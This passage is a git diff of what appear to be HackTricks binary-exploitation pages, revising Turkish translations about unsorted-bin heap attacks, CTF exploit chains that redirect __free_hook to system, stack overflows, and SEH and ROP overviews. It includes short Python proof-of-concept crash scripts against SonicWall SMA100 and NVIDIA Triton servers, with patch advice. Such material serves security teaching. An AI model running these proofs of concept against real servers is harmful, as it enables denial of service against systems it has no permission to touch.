guard free(B); // triggers *(TARGET) = B (unsorted-bin insertion write) ``` > [!NOTE] -> • Eğer size ile tcache'i atlatamıyorsanız, bozulan chunk'ı free etmeden önce seçilen boyut için tcache bin'ini doldurun (7 frees) ki free unsorted'a gitsin. -> • Eğer program bir sonraki allocation'da unsorted-bin kontrolleri nedeniyle hemen abort ediyorsa, `victim->fd`'nin hâlâ bin head'e eşit olduğunu ve ilk yazmadan sonra `TARGET`'in tam olarak `victim` pointer'ını tuttuğunu yeniden kontrol edin. +> • Eğer tcache'i boyut ile atlatamıyorsanız, bozuk chunk'ı free etmeden önce seçilen boyut için tcache bin'ini (7 free) doldurun ki free unsorted'a gitsin. +> • Eğer program unsorted-bin kontrolleri nedeniyle sonraki allocation'da hemen abort ediyorsa, `victim->fd`'nin hâlâ bin head'e eşit olduğunu ve ilk write'tan sonra `TARGET`'ınızın tam olarak `victim` pointer'ını tuttuğunu tekrar kontrol edin. ## Unsorted Bin Infoleak Attack -Bu aslında çok temel bir konsept. unsorted bin'deki chunk'ların pointer'ları olur. Unsorted bin'deki ilk chunk gerçekte **`fd`** ve **`bk`** link'lerini **main arena (Glibc)**'nin bir kısmına işaret edecek şekilde tutar.\ -Dolayısıyla, eğer bir chunk'ı unsorted bin içine koyup okuyabiliyorsanız (use after free) veya en az bir pointer'ı ezmeden tekrar allocate edip sonra okuyabiliyorsanız, bir **Glibc info leak** elde edebilirsiniz. +This is actually a very basic concept. The chunks in the unsorted bin are going to have pointers. The first chunk in the unsorted bin will actually have the **`fd`** and the **`bk`** links **pointing to a part of the main arena (Glibc)**.\ +Therefore, if you can **put a chunk inside a unsorted bin and read it** (use after free) or **allocate it again without overwriting at least 1 of the pointers** to then **read** it, you can have a **Glibc info leak**. -Benzer bir [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), 4 chunk'lık bir yapı (A, B, C ve D - D sadece top chunk ile consolidation'ı önlemek için) suiistimal edilerek yapılmış; B'deki 1 byte null overflow, C'nin B'nin unused olduğunu göstermesi için kullanılmış. Ayrıca B içinde `prev_size` verisi değiştirilmiş, böylece boyut B'nin boyutu yerine A+B olmuş.\ -Sonra C free edilmiş ve A+B ile consolidate olmuş (B hâlâ in use). Boyutu A olan yeni bir chunk allocate edilmiş ve ardından libc leaked adresleri B'ye yazılmış, buradan leak edilmişler. +A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), was to abuse a 4 chunks structure (A, B, C and D - D is only to prevent consolidation with top chunk) so a null byte overflow in B was used to make C indicate that B was unused. Also, in B the `prev_size` data was modified so the size instead of being the size of B was A+B.\ +Then C was deallocated, and consolidated with A+B (but B was still in used). A new chunk of size A was allocated and then the libc leaked addresses was written into B from where they were leaked. ## Referanslar ve Diğer örnekler - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap) -- Amaç, PIE etkin değilken global bir değişkeni 4869'dan büyük bir değerle overwrite etmek (flag alınabilir hale getirmek). -- İstenilen boyutta bir heap overflow ile arbitrary boyutlarda chunk üretmek mümkün. -- Saldırı chunk'lar oluşturmakla başlar: overflow için chunk0, overflow edilecek chunk1 ve top chunk'un önceki chunk'larla consolidate olmasını önlemek için chunk2. -- Ardından chunk1 free edilir ve chunk0, chunk1'in `bk` pointer'ına overflow edilir: `bk = magic - 0x10` -- Sonra chunk3, chunk1 ile aynı boyutta allocate edilir; bu unsorted bin attack'ı tetikleyecek ve global değişkenin değerini değiştirecek, böylece flag alınabilecek hale gelecek. +- Amaç, global bir değişkeni 4869'dan büyük bir değerle overwrite etmek; böylece flag alınabiliyor ve PIE etkin değil. +- İstenilen boyutta heap overflow bulunan, rassal boyutlarda chunk üretilebilen bir senaryo mevcut. +- Attack, overflow'u suistimal etmek için chunk0, overflow edilecek chunk1 ve top chunk'ın önceki chunklarla consolidate olmasını önlemek için chunk2 olmak üzere 3 chunk oluşturarak başlıyor. +- Ardından chunk1 free ediliyor ve chunk0 overflow edilerek chunk1'in `bk` pointer'ının işaret ettiği değer şu şekilde ayarlanıyor: `bk = magic - 0x10` +- Sonra chunk3, chunk1 ile aynı boyutta allocate ediliyor; bu unsorted bin attack'ı tetikleyecek ve global değişkenin değerini değiştirerek flag alınmasını mümkün kılacak. - [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html) -- merge fonksiyonu, eğer aynı index iki kez geçirilirse realloc yapıp sonra free ettiği ve freed bölgeye işaret eden bir pointer döndürdüğü için vuln. -- Bu sebeple, **2 chunk oluşturulur**: kendisiyle merge edilecek olan **chunk0** ve top chunk ile consolidate olmaması için chunk1. Sonra **merge** fonksiyonu chunk0 ile iki kez çağrılır ve bu use after free'e yol açar. -- Ardından **`view`** fonksiyonu index 2 ile çağrılır (use after free chunk'un index'i), bu da **libc adresi leak** eder. -- Binary, sadece `global_max_fast`'tan büyük boyutlarda malloc yapmaya izin veren korumalara sahip olduğundan fastbin kullanılmaz; bu yüzden `global_max_fast`'ı overwrite etmek için bir unsorted bin attack kullanılacak. -- Sonra, edit fonksiyonu index 2 (use after free pointer) ile çağrılıp `bk` pointer'ı `p64(global_max_fast-0x10)`'a overwrite edilir. Ardından yeni bir chunk oluşturmak, daha önce değiştirilmiş free adresini kullanacak (0x20) ve **unsorted bin attack'ı** tetikleyerek `global_max_fast`'ı çok büyük bir değere overwrite eder; böylece artık fast bin'lerde chunk oluşturmak mümkün olur. -- Şimdi bir **fast bin attack** gerçekleştirilir: -- Öncelikle `__free_hook` konumunda fast boyutlu chunk'larla çalışılabildiği keşfedilir: +- merge fonksiyonu, eğer aynı index iki kez geçirilirse söz konusu bölgeyi realloc edip sonra free ettiğinden dolayı vulnerable; freed bölgeye pointer döndürülüyor ve bu use after free için kullanılabiliyor. +- Bu yüzden **2 chunk oluşturuluyor**: kendisiyle merge edilecek olan **chunk0** ve top chunk ile consolidate olmasını engellemek için chunk1. Ardından **merge fonksiyonu chunk0 ile iki kez çağrılıyor** ve bu use after free'e yol açıyor. +- Sonra `view` fonksiyonu index 2 (use after free pointer'ının index'i) ile çağrılıyor ve bu **libc address leak**'ine neden oluyor. +- Binary, sadece `global_max_fast`'tan büyük boyutlarda malloc yapılmasına izin veren korumalar içerdiği için fastbin kullanılmıyor; bunun yerine `global_max_fast`'ı overwrite etmek için unsorted bin attack kullanılacak. +- Daha sonra, edit fonksiyonu index 2 (use after free pointer) ile çağrılarak `bk` pointer'ı `p64(global_max_fast-0x10)`'a overwrite ediliyor. Ardından yeni bir chunk yaratmak, önce kompromize edilmiş free adresini (0x20) kullanacak ve **unsorted bin attack'ı** tetikleyerek `global_max_fast`'ı çok büyük bir değere overwrite edecek; böylece artık fast bin'lerde chunk oluşturmak mümkün olacak. +- Şimdi bir **fast bin attack** gerçekleştiriliyor: +- Öncelikle `__free_hook` lokasyonunda fast chunk'larla (size 200) çalışılabildiği keşfediliyor: -
gef➤  p &__free_hook
 $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
 gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
@@ -115,19 +122,19 @@ gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
 0x7ff1e9e6076f :      0x0000000000000000      0x0000000000000000
 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
 
-- Eğer bu konumda 0x200 boyutunda bir fast chunk elde edebilirsek, yürütülecek bir function pointer'ı overwrite etmek mümkün olacak. -- Bunun için `0xfc` boyutunda yeni bir chunk oluşturulur ve merged fonksiyonu bu pointer ile iki kez çağrılır; böylece fast bin'de `0xfc*2 = 0x1f8` boyutunda freed bir chunk pointer'ı elde edilir. -- Sonra edit fonksiyonu bu chunk'ta çağrılarak bu fast bin'in **`fd`** adresi önceki **`__free_hook`** fonksiyonuna işaret edecek şekilde değiştirilir. -- Ardından `0x1f8` boyutunda bir chunk oluşturulur, fast bin'den o işe yaramaz chunk alınır ve başka bir `0x1f8` chunk daha oluşturularak `__free_hook`'ta bir fast bin chunk elde edilir; burası `system` fonksiyonunun adresiyle overwrite edilir. -- Son olarak `/bin/sh\x00` içeren bir chunk delete fonksiyonu ile free edilerek `__free_hook` tetiklenir; `__free_hook` artık system'e işaret eder ve `/bin/sh\x00` parametresiyle çağrılır. +- Eğer bu lokasyonda 0x200 boyutunda bir fast chunk elde edebilirsek, çalıştırılacak bir function pointer'ı overwrite etmek mümkün olacak. +- Bunun için `0xfc` boyutunda yeni bir chunk oluşturuluyor ve merge fonksiyonu bu pointer ile iki kez çağrılıyor; böylece fast bin'de `0xfc*2 = 0x1f8` boyutunda freed bir chunk pointer'ı elde ediliyor. +- Ardından edit fonksiyonu bu chunk'ta çağrılarak fast bin'in `fd` adresi önceki `__free_hook` fonksiyonuna işaret edecek şekilde değiştiriliyor. +- Sonra `0x1f8` boyutunda bir chunk oluşturulup fast bin'deki önceki işe yaramaz chunk alınıyor; başka bir `0x1f8` chunk daha oluşturularak fast bin'den `__free_hook` lokasyonunda bir chunk alınıp bu lokasyon `system` fonksiyonunun adresi ile overwrite ediliyor. +- Ve nihayet `/bin/sh\x00` içeren bir chunk delete fonksiyonu ile free edilerek `__free_hook` fonksiyonu tetikleniyor; `__free_hook` şimdi system'e işaret ediyor ve parametre olarak `/bin/sh\x00` alıyor. - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) -- 1 byte overflow kullanılarak unsorted bin'de chunk'ların consolidate edilmesiyle libc infoleak elde edilip ardından fast bin attack ile malloc hook'un one gadget adresiyle overwrite edilmesine dair başka bir örnek +- 1B overflow suistimal edilerek unsorted bin'de chunk'ların consolidate edilmesiyle libc infoleak elde edilip daha sonra malloc hook'u one gadget adresiyle overwrite etmek için fast bin attack yapılan başka bir örnek. - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) - Sadece `0x100`'den büyük boyutlarda chunk allocate edilebiliyor. -- Unsorted Bin attack ile `global_max_fast` overwrite ediliyor (ASLR nedeniyle 1/16 oranında işe yarıyor; çünkü 12 bit'i değil 16 bit'i değiştirmek gerekiyor). -- Fast Bin attack ile global bir chunk dizisi modify ediliyor. Bu, arbitrary read/write primitive sağlar ve GOT'u değiştirip bazı fonksiyonları `system`'e yönlendirmeye izin verir. +- Unsorted Bin attack kullanılarak `global_max_fast` overwrite ediliyor (ASLR nedeniyle 1/16 çalışıyor; çünkü 12 bit değiştirmemiz gerekiyor, ama 16 bit değiştirmeliyiz). +- Fast Bin attack ile global bir chunks array'i modify ediliyor. Bu, arbitrary read/write primitive veriyor ve GOT'u değiştirip bazı fonksiyonları `system`'e yönlendirmeyi sağlıyor. -## References +## Referanslar - Glibc malloc unsorted-bin integrity checks (example in 2.33 source): https://elixir.bootlin.com/glibc/glibc-2.33/source/malloc/malloc.c - `global_max_fast` and related definitions in modern glibc (2.39): https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index b34961c43..2bb08d073 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -2,25 +2,17 @@ {{#include ../../banners/hacktricks-training.md}} -## What is a Stack Overflow +## Stack Overflow Nedir -A **stack overflow** is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will **overwrite adjacent memory space**, leading to the corruption of valid data, control flow disruption, and potentially the execution of malicious code. This issue often arises due to the use of unsafe functions that do not perform bounds checking on input. +Bir **stack overflow**, bir programın stack'e tutulan miktardan daha fazla veri yazdığında ortaya çıkan bir zayıflıktır. Bu fazla veri, **bitişik bellek alanını üzerine yazarak** geçerli verilerin bozulmasına, kontrol akışının bozulmasına ve potansiyel olarak kötü amaçlı kodun çalıştırılmasına yol açabilir. Bu sorun genellikle girdiler üzerinde bounds checking yapmayan güvensiz fonksiyonların kullanılmasından kaynaklanır. -Bir **stack overflow**, bir programın yığına (stack) tutulması için ayrılan alandan daha fazla veri yazması durumunda ortaya çıkan bir güvenlik açığıdır. Bu fazla veri, bitişik bellek alanını **üzerine yazarak** geçerli verinin bozulmasına, kontrol akışının bozulmasına ve potansiyel olarak kötü amaçlı kodun çalıştırılmasına yol açar. Bu sorun genellikle girdide sınır kontrolü yapmayan güvensiz fonksiyonların kullanılmasından kaynaklanır. +Bu overwrite işleminin asıl problemi, **saved instruction pointer (EIP/RIP)** ve önceki fonksiyona dönmek için saklanan **saved base pointer (EBP/RBP)** değerlerinin **stack üzerinde saklanıyor** olmasıdır. Bu nedenle, bir saldırgan bu değerleri overwrite ederek **programın yürütme akışını kontrol edebilir**. -The main problem of this overwrite is that the **saved instruction pointer (EIP/RIP)** and the **saved base pointer (EBP/RBP)** to return to the previous function are **stored on the stack**. Therefore, an attacker will be able to overwrite those and **control the execution flow of the program**. +Zafiyet genellikle bir fonksiyonun **stack içinde kendisine ayrılan miktardan daha fazla byte kopyalaması** nedeniyle ortaya çıkar; bu sayede stack'in diğer bölümlerini overwrite edebilir. -Bu üzerine yazmanın asıl sorunu, önceki fonksiyona dönmek için kullanılan **saved instruction pointer (EIP/RIP)** ve **saved base pointer (EBP/RBP)**'ın **stack'te saklanıyor** olmasıdır. Bu nedenle, bir saldırgan bunların üzerine yazarak programın yürütme akışını **kontrol edebilir**. +Bu duruma sıkça yatkın olan fonksiyonlardan bazıları: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ayrıca **`fgets`**, **`read`** ve **`memcpy`** gibi bir **length argument** alan fonksiyonlar, belirtilen uzunluk ayrılandan büyükse yanlış kullanıldığında savunmasız olabilir. -The vulnerability usually arises because a function **copies inside the stack more bytes than the amount allocated for it**, therefore being able to overwrite other parts of the stack. - -Bu zafiyet genellikle bir fonksiyonun **stack içinde kendisi için ayrılan miktardan daha fazla byte kopyalaması** nedeniyle ortaya çıkar; böylece yığının diğer bölümlerinin üzerine yazılabilir. - -Some common functions vulnerable to this are: **`strcpy`, `strcat`, `sprintf`, `gets`**... Also, functions like **`fgets`** , **`read` & `memcpy`** that take a **length argument**, might be used in a vulnerable way if the specified length is greater than the allocated one. - -Bu duruma yaygın olarak hassas bazı fonksiyonlar: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ayrıca, bir **uzunluk argümanı** alan **`fgets`**, **`read`** ve **`memcpy`** gibi fonksiyonlar, belirtilen uzunluk ayrılan boyuttan büyükse savunmasız şekilde kullanılabilir. - -For example, the following functions could be vulnerable: +Örneğin, aşağıdaki fonksiyonlar savunmasız olabilir: ```c void vulnerable() { char buffer[128]; @@ -29,15 +21,15 @@ gets(buffer); // This is where the vulnerability lies printf("You entered: %s\n", buffer); } ``` -### Finding Stack Overflows offsets +### Stack Overflows offset'lerini Bulma -The most common way to find stack overflows is to give a very big input of `A`s (e.g. `python3 -c 'print("A"*1000)'`) and expect a `Segmentation Fault` indicating that the **adres `0x41414141`'e erişilmeye çalışıldığı**. +Stack Overflows bulmanın en yaygın yolu, çok büyük bir `A` girdisi vermektir (ör. `python3 -c 'print("A"*1000)'`) ve `Segmentation Fault` beklemektir; bu, **adres `0x41414141`'e erişilmeye çalışıldığını** gösterir. -Moreover, once you found that there is Stack Overflow vulnerability you will need to find the offset until it's possible to **overwrite the return address**, for this it's usually used a **De Bruijn sequence.** Which for a given alphabet of size _k_ and subsequences of length _n_ is a **cyclic sequence in which every possible subsequence of length _n_ appears exactly once** as a contiguous subsequence. +Ayrıca, bir Stack Overflow zafiyeti bulduktan sonra **overwrite the return address**'in mümkün olduğu offset'i bulmanız gerekir; bunun için genellikle bir **De Bruijn sequence** kullanılır. Verilen _k_ boyutunda bir alfabet ve uzunluğu _n_ olan alt diziler için, bu, her olası uzunluk _n_ alt dizisinin tam olarak bir kez ardışık bir alt dizi olarak göründüğü bir **cyclic sequence**'dir. -This way, instead of needing to figure out which offset is needed to control the EIP by hand, it's possible to use as padding one of these sequences and then find the offset of the bytes that ended overwriting it. +Böylece, EIP'i elle kontrol etmek için hangi offset gerektiğini bulmak yerine, padding olarak bu dizilerden birini kullanmak ve sonra onu overwrite etmeye başlayan byte'ların offset'ini bulmak mümkün olur. -It's possible to use **pwntools** for this: +Bunun için **pwntools** kullanmak mümkündür: ```python from pwn import * @@ -58,14 +50,14 @@ pattern search $rsp #Search the offset given the content of $rsp ``` ## Stack Overflows'ı İstismar Etme -Bir overflow sırasında (taşma boyutu yeterince büyük varsayıldığında) stack içindeki yerel değişkenlerin değerlerini kaydedilmiş **EBP/RBP and EIP/RIP (or even more)**'e ulaşana dek **overwrite** edebileceksiniz.\ -Bu tür bir açığı kötüye kullanmanın en yaygın yolu, fonksiyon sona erdiğinde **control flow**'un bu pointer'da kullanıcının belirttiği yere yönlendirilmesi için **modifying the return address** yapmaktır. +Bir overflow sırasında (taşma boyutu yeterince büyükse) stack içindeki yerel değişkenlerin değerlerini kaydedilmiş **EBP/RBP and EIP/RIP (or even more)**'a ulaşana kadar **overwrite** edebileceksiniz.\ +Bu tür bir zafiyeti suistimal etmenin en yaygın yolu, **modifying the return address** yapmaktır; böylece fonksiyon sona erdiğinde **control flow will be redirected wherever the user specified** bu pointer içinde gösterilen yere yönlendirilir. -Ancak, diğer senaryolarda sadece stack içindeki bazı değişken değerlerini **overwriting some variables values in the stack** yeterli olabilir (örneğin kolay CTF challenge'larında). +Ancak, bazı senaryolarda sadece stack içindeki bazı değişkenlerin değerlerini **overwriting** yapmak istismarı gerçekleştirmek için yeterli olabilir (ör. kolay CTF challenge'larında). ### Ret2win -Bu tip CTF challenge'larında binary içinde **never called** olan ve **you need to call in order to win** olan bir **function** bulunur. Bu tür challenge'larda yapmanız gereken tek şey **offset to overwrite the return address**'i bulmak ve çağırılacak **address of the function**'ı bulmaktır (genellikle [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) devre dışı bırakılmış olur) böylece vulnerable function return ettiğinde gizli function çağrılır: +Bu tür CTF challenge'larında, binary içinde hiç çağrılmayan ve kazanmak için çağırmanız gereken bir **function** bulunur. Bu challenge'ler için yapmanız gereken tek şey **offset to overwrite the return address**'i bulmak ve çağrılacak **function**'ın adresini tespit etmektir (genellikle [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) devre dışı bırakılmış olur) böylece zafiyetli function döndüğünde gizli function çağrılır: {{#ref}} @@ -74,7 +66,7 @@ ret2win/ ### Stack Shellcode -Bu senaryoda attacker stack'e bir shellcode yerleştirebilir ve controlled EIP/RIP'i shellcode'a atlamak ve arbitrary code çalıştırmak için kullanabilir: +Bu senaryoda saldırgan shellcode'u stack'e yerleştirebilir ve kontrol edilen EIP/RIP'i shellcode'a atlamak ve arbitrary code çalıştırmak için kullanabilir: {{#ref}} @@ -83,7 +75,7 @@ stack-shellcode/ ### Windows SEH-based exploitation (nSEH/SEH) -32-bit Windows'ta, bir overflow kaydedilmiş return address yerine Structured Exception Handler (SEH) zincirini overwrite edebilir. İstismar genellikle SEH pointer'ını bir POP POP RET gadget ile değiştirir ve 4-byte'lık nSEH alanını shellcode'un bulunduğu büyük buffer'a geri pivot yapmak için kısa bir jump için kullanır. Yaygın bir desen, nSEH içinde kısa bir jmp olup bunun hemen öncesine yerleştirilmiş 5-byte'lık bir near jmp'un payload başlangıcına yüzlerce byte geri atlamasıdır. +32-bit Windows'ta, bir overflow kaydedilmiş return address yerine Structured Exception Handler (SEH) zincirini overwrite edebilir. İstismar genellikle SEH işaretçisini bir POP POP RET gadget ile değiştirir ve 4 baytlık nSEH alanını shellcode'un bulunduğu büyük buffer'a geri pivotlamak için kısa bir atlama yapmak üzere kullanır. Yaygın bir desen, nSEH içinde kısa bir jmp olup bunun nSEH'den hemen önce yerleştirilen 5 baytlık near jmp üzerine düşmesi ve payload başlangıcına yüzlerce byte geri atlamasıdır. {{#ref}} @@ -92,7 +84,7 @@ windows-seh-overflow.md ### ROP & Ret2... techniques -Bu teknik, önceki tekniğin ana korumasını aşmak için temel çerçeveyi sağlar: **No executable stack (NX)**. Ayrıca existing instructions in the binary'yi kullanarak arbitrary komutlar çalıştıracak birçok diğer tekniği (ret2lib, ret2syscall...) gerçekleştirmeye olanak tanır: +Bu teknik, önceki tekniğin ana korumasını atlatmak için temel çerçeveyi sağlar: **No executable stack (NX)**. Ayrıca ret2lib, ret2syscall gibi ve mevcut binary içindeki talimatları suistimal ederek arbitrary komutlar çalıştırmayı sağlayan birçok başka tekniği gerçekleştirmeye imkan verir: {{#ref}} @@ -101,7 +93,7 @@ Bu teknik, önceki tekniğin ana korumasını aşmak için temel çerçeveyi sa ## Heap Overflows -Bir overflow her zaman stack'te olmak zorunda değildir; örneğin **heap**'te de olabilir: +Bir overflow her zaman stack'te olmak zorunda değildir, örneğin **heap** içinde de olabilir: {{#ref}} @@ -110,7 +102,7 @@ Bir overflow her zaman stack'te olmak zorunda değildir; örneğin **heap**'te d ## Koruma Türleri -Zafiyetlerin istismarını önlemeye çalışan çeşitli korumalar vardır, bunları şu yerde inceleyin: +Zafiyetlerin istismarını engellemeye çalışan çeşitli korumalar vardır, bunları şu dizinde inceleyin: {{#ref}} @@ -119,33 +111,32 @@ Zafiyetlerin istismarını önlemeye çalışan çeşitli korumalar vardır, bun ### Gerçek Dünya Örneği: CVE-2025-40596 (SonicWall SMA100) -Neden **`sscanf` should never be trusted for parsing untrusted input** olduğunun iyi bir gösterimi 2025'te SonicWall’ın SMA100 SSL-VPN appliance'ında ortaya çıktı. -`/usr/src/EasyAccess/bin/httpd` içindeki vulnerable rutin, `/__api__/` ile başlayan herhangi bir URI'den version ve endpoint çıkarmaya çalışıyordu: +`sscanf`'ın untrusted input'u parse etmek için asla güvenilmemesi gerektiğini gösteren iyi bir örnek 2025'te SonicWall’ın SMA100 SSL-VPN cihazında ortaya çıktı. `/usr/src/EasyAccess/bin/httpd` içindeki zafiyetli rutin, `/__api__/` ile başlayan herhangi bir URI'den version ve endpoint'i çıkarmaya çalışıyordu: ```c char version[3]; char endpoint[0x800] = {0}; /* simplified proto-type */ sscanf(uri, "%*[^/]/%2s/%s", version, endpoint); ``` -1. İlk dönüşüm (`%2s`) `version` içine güvenli şekilde **iki** bayt depolar (ör. `"v1"`). -2. İkinci dönüşüm (`%s`) **uzunluk belirticisi içermez**, bu yüzden `sscanf` kopyalamaya **ilk NUL byte'a kadar** devam eder. -3. Çünkü `endpoint` **stack** üzerinde bulunur ve **0x800 bayt uzunluğundadır**, 0x800'den uzun bir path sağlamak buffer'ın sonrasında bulunan her şeyi bozar ‑ buna **stack canary** ve **saved return address** da dahildir. +1. İlk dönüşüm (`%2s`) güvenli bir şekilde `version` içine **iki** bayt depolar (ör. `"v1"`). +2. İkinci dönüşüm (`%s`) **uzunluk belirticisine sahip değil**, bu nedenle `sscanf` **ilk NUL byte'a kadar** kopyalamaya devam eder. +3. Çünkü `endpoint` **stack** üzerinde bulunur ve **0x800 bayt uzunluğundadır**, 0x800 bayttan daha uzun bir path sağlamak buffer'dan sonra yer alan her şeyi bozar ‑ bunların arasında **stack canary** ve **saved return address** de vardır. -Tek satırlık bir proof-of-concept, çöküşü **authentication** öncesinde tetiklemek için yeterlidir: +Tek satırlık bir proof-of-concept, çöküşü **kimlik doğrulamadan önce** tetiklemek için yeterlidir: ```python import requests, warnings warnings.filterwarnings('ignore') url = "https://TARGET/__api__/v1/" + "A"*3000 requests.get(url, verify=False) ``` -Stack canaries işlemi sonlandırsa bile, bir saldırgan yine de bir **Denial-of-Service** primitive elde eder (and, with additional information leaks, possibly code-execution). Ders basit: +Stack canaries işlemi sonlandırsa da, saldırgan yine de bir **Denial-of-Service** primitive elde eder (ve ek bilgi leaks olması durumunda, muhtemelen code-execution). Ders basit: -* Her zaman bir **maksimum alan genişliği** belirtin (örn. `%511s`). -* Daha güvenli alternatifleri tercih edin; örn. `snprintf`/`strncpy_s`. +* Her zaman bir **azami alan genişliği** belirtin (örn. `%511s`). +* `snprintf`/`strncpy_s` gibi daha güvenli alternatifleri tercih edin. ### Gerçek Dünya Örneği: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server) -NVIDIA’nin Triton Inference Server (≤ v25.06), HTTP API aracılığıyla ulaşılabilen birden fazla **stack-based overflows** içeriyordu. +NVIDIA’s Triton Inference Server (≤ v25.06), HTTP API'si aracılığıyla erişilebilen birden çok **stack-based overflow** içeriyordu. Zafiyetli desen `http_server.cc` ve `sagemaker_server.cc` içinde tekrar tekrar ortaya çıkıyordu: ```c int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0); @@ -156,9 +147,9 @@ alloca(sizeof(struct evbuffer_iovec) * n); ... } ``` -1. `evbuffer_peek` (libevent) mevcut HTTP istek gövdesini oluşturan **dahili buffer segmentlerinin sayısını** döndürür. -2. Her segment `alloca()` aracılığıyla **stack** üzerinde **16-byte** büyüklüğünde bir `evbuffer_iovec` ayrılmasına neden olur – **herhangi bir üst sınır olmadan**. -3. Bir istemci **HTTP _chunked transfer-encoding_**'i kötüye kullanarak isteğin **yüzbinlerce 6-byte parçaya** (`"1\r\nA\r\n"`) bölünmesini sağlayabilir. Bu, `n`'in stack tükenene kadar sınırsız şekilde artmasına yol açar. +1. `evbuffer_peek` (libevent) şu anki HTTP isteğinin gövdesini oluşturan **iç tampon segmentlerinin sayısını** döndürür. +2. Her segment, `alloca()` aracılığıyla **stack** üzerinde **16-byte** `evbuffer_iovec` tahsis edilmesine neden olur – **herhangi bir üst sınır olmadan**. +3. **HTTP _chunked transfer-encoding_**'i suistimal ederek, bir istemci isteğin **6-byte'lık parçacıklara yüzbinlerce** bölünmesini zorlayabilir (`"1\r\nA\r\n"`). Bu, `n`'in stack tükenene kadar kontrolsüz şekilde büyümesine neden olur. #### Kavram Kanıtı (DoS) ```python @@ -184,10 +175,10 @@ s.close() if __name__ == "__main__": exploit(*sys.argv[1:]) ``` -Varsayılan bir derlemede yaklaşık ~3 MB'lık bir istek, kaydedilmiş dönüş adresini ezerek daemon'ı **crash** ettirmek için yeterlidir. +Yaklaşık ~3 MB'lık bir istek, kaydedilmiş dönüş adresini ezmek ve varsayılan derlemede daemon'ı **crash** etmek için yeterlidir. -#### Yama ve Hafifletme -25.07 sürümü, güvensiz stack tahsisini **heap-backed `std::vector`** ile değiştirir ve `std::bad_alloc` durumunu düzgün şekilde ele alır: +#### Düzeltme ve Hafifletme +25.07 sürümü unsafe stack allocation'ı **heap-backed `std::vector`** ile değiştirir ve `std::bad_alloc`'ı düzgün şekilde ele alır: ```c++ std::vector v_vec; try { @@ -198,11 +189,11 @@ return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed"); struct evbuffer_iovec *v = v_vec.data(); ``` Öğrenilen dersler: -* Asla `alloca()`'yı saldırgan tarafından kontrol edilen boyutlarla çağırmayın. -* Chunked requests sunucu tarafı tamponların şeklini önemli ölçüde değiştirebilir. -* İstemci girdisinden türetilen herhangi bir değeri, bellek ayırmalarında kullanmadan *önce* doğrulayın / sınırlandırın. +* Saldırgan kontrolündeki boyutlarla asla `alloca()`'yı çağırmayın. +* Chunked requests, sunucu tarafı buffer'ların şeklini ciddi şekilde değiştirebilir. +* Bellek tahsislerinde kullanmadan *önce*, istemci girdisinden türetilen herhangi bir değeri doğrulayın/sınırlandırın. -## Kaynaklar +## Referanslar * [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/) * [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/) * [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html) diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md index dd4dcd896..652b2362a 100644 --- a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md +++ b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md @@ -2,11 +2,11 @@ {{#include ../../../banners/hacktricks-training.md}} -## Temel Bilgi +## Temel Bilgiler -**Stack shellcode** bir saldırganın shellcode'u zafiyetli bir programın stack'ine yazdığı ve ardından bu shellcode'un bulunduğu konumu işaret edecek şekilde **Instruction Pointer (IP)** veya **Extended Instruction Pointer (EIP)**'i değiştirdiği **binary exploitation**'da kullanılan bir tekniktir. Bu sayede shellcode çalıştırılır. Bu, hedef bir sistemde yetkisiz erişim elde etmek veya rastgele komutlar çalıştırmak için kullanılan klasik bir yöntemdir. Aşağıda sürecin bir dökümü, basit bir C örneği ve **pwntools** ile nasıl bir exploit yazabileceğinize dair bilgiler yer almaktadır. +**Stack shellcode**, saldırganın shellcode'u zafiyetli bir programın stack'ine yazdığı ve ardından bu shellcode'un bulunduğu adresi işaret etmesi için **Instruction Pointer (IP)** veya **Extended Instruction Pointer (EIP)**'yi değiştirdiği **binary exploitation**'de kullanılan bir tekniktir; bu, shellcode'un çalışmasına neden olur. Bu, hedef sistemde yetkisiz erişim elde etmek veya rastgele komutlar çalıştırmak için kullanılan klasik bir yöntemdir. Aşağıda sürecin adım adım 